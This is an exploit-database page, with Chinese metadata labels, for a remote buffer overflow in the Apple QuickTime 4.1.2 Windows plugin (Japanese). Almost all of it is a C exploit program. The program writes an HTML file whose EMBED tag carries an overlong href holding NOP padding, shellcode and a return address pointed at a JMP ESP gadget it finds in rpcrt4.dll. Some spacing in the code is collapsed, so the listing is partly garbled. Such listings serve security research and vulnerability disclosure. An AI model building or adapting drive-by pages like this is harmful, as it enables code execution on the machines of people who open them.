Apple QuickTime plugin – Windows 4.1.2 (Japanese) Remote Overflow

  • 作者： UNYUN
    日期： 2012-08-18
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/20605/
  • source: https://www.securityfocus.com/bid/2328/info

Apple Quicktime plugin for Windows is vulnerable to a remote buffer overflow.

A maliciously-constructed web link statement in a remote HTML document, which contains excess data argumenting an EMBED tag, could permit execution of hostile code. 

/*====================================================================
 Apple QuickTime 4.1.2 plug-in exploit
 The Shadow Penguin Security (http://shadowpenguin.backsection.net)
 Written by UNYUN (shadowpenguin@backsection.net)
====================================================================
*/

#include<stdio.h>
#include<stdlib.h>
#include<windows.h>

#define MOV_FILE"c:\\program files\\quicktime\\sample.mov"
#define HEIGHT60
#define WIDTH 60
#define TARGET"QUICKTIMEPLAYER"
#define FILE_IMAGE\
"<html><embed src=\"%s\" href=\"%s\" "\
"width=%d height=%d autoplay=\"true\" "\
"target=\"%s\"><br></html>"
#define BUFSIZE 730
#define RET 684
#define ESP_TGT "rpcrt4.dll"
#define JMPESP_10xff
#define JMPESP_20xe4
#define NOP 0x90

unsigned char exploit_code[200]={
0x33,0xC0,0x40,0x40,0x40,0x40,0x40,0x50,
0x50,0x90,0xB8,0x2D,0x23,0xF5,0xBF,0x48,
0xFF,0xD0,0x00,
};

main(int argc,char *argv[])
{
FILE*fp;
charbuf[BUFSIZE];
unsigned inti,pretadr,p,ip,kp;
MEMORY_BASIC_INFORMATION meminfo;

if (argc<2){
printf("usage : %s Output_HTML-fileName [Sample .mov file]\n",
 argv[0]);
exit(1);
}

if ((void *)(kp=(unsigned int)LoadLibrary(ESP_TGT))==NULL){
 printf("%s is not found.\n",ESP_TGT);
 exit(1);
}

VirtualQuery((void *)kp,&meminfo,sizeof(MEMORY_BASIC_INFORMATION));
pretadr=0;
for (i=0;i<meminfo.RegionSize;i++){
p=kp+i;
if (( p &0xff)==0
 || ((p>>8 )&0xff)==0
 || ((p>>16)&0xff)==0
 || ((p>>24)&0xff)==0) continue;
if ( *((unsigned char *)p)==JMPESP_1
&& *(((unsigned char *)p)+1)==JMPESP_2)
pretadr=p;
}
if ((fp=fopen(argv[1],"wb"))==NULL){
printf("File write error \"%s\"\n",argv[1]);
exit(1);
}
memset(buf,NOP,BUFSIZE);
memcpy(buf+700-12,exploit_code,strlen(exploit_code));
buf[BUFSIZE-2]=0;

ip=pretadr;
printf("EIP=%x\n",ip);
buf[RET]=ip&0xff;
buf[RET+1]=(ip>>8)&0xff;
buf[RET+2]=(ip>>16)&0xff;
buf[RET+3]=(ip>>24)&0xff;

if (argc==2)
fprintf(fp,FILE_IMAGE,MOV_FILE,buf,WIDTH,HEIGHT,TARGET);
else
fprintf(fp,FILE_IMAGE,argv[2],buf,WIDTH,HEIGHT,TARGET);
fclose(fp);
printf("Done.\n");
 }

-----
UNYUN
% The Shadow Penguin Security [ http://shadowpenguin.backsection.net ]
 shadowpenguin@backsection.net (SPS-Official)
 unyun@shadowpenguin.org (Personal)
% eEye Digital Security Team [ http://www.eEye.com ]
 unyun@eEye.com